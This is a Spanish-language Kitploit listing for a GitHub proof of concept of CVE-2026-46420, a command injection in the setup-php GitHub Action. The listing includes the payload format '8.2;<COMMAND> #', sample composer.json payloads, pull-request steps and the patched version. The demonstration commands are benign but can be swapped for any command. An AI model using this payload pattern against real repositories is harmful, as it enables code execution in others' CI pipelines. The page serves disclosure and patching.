Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-46420 — PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution. | Kitploit
Herramientas/GitHubGitHub/jvr2022/cve-2026-46420
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubjvr2022/cve-2026-46420

CVE-2026-46420

PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.

Ver Repositorio
1hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-46420 PoC

Inyección de comandos en shivammathur/setup-php cuando la versión de PHP se carga desde archivos controlados por el repositorio.

Afecta:

root@kitploit:~
>= 2.25.0, < 2.37.1

Corregido en:

root@kitploit:~
>= 2.37.1

PoC

El repositorio objetivo ya tiene un flujo de trabajo vulnerable que descarga el contenido de la solicitud de extracción y ejecuta [email protected].

El atacante solo cambia composer.json.

root@kitploit:~
-"php": "8.2"
+"php": [
+  "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]

Cuando setup-php lee la versión de PHP desde composer.json, el comando inyectado se incluye en el script de shell generado y se ejecuta.

Resultado:

root@kitploit:~
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc

Reproducir

Crea una rama desde el repositorio objetivo:

root@kitploit:~
git checkout -b poc-test

Reemplaza el composer.json limpio con la versión de la PoC:

root@kitploit:~
cp attacker/composer.json composer.json

Confirma y sube los cambios:

root@kitploit:~
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test

Abre una solicitud de extracción desde poc-test hacia main.

La ejecución de Actions debería mostrar que demo-app/.env.example fue modificado durante el paso de setup-php.

Cambiar el comando

El formato del payload es:

root@kitploit:~
8.2;<COMMAND> #

Payload actual:

root@kitploit:~
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #

El comando ejecutado es:

root@kitploit:~
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example

Para cambiar lo que hace la PoC, reemplaza el comando entre 8.2; y #.

Crea un archivo:

root@kitploit:~
8.2;touch poc-executed #

Escribe en un archivo:

root@kitploit:~
8.2;printf 'poc executed\n' > poc-result.txt #

Imprime la salida del comando:

root@kitploit:~
8.2;id #

Ejemplo de composer.json:

root@kitploit:~
{
  "config": {
    "platform": {
      "php": [
        "8.2;touch poc-executed #"
      ]
    }
  }
}

Solución

Actualiza a [email protected] o superior.

El mismo payload es rechazado en la versión parcheada.

Referencias

https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r

https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b

Descargar herramienta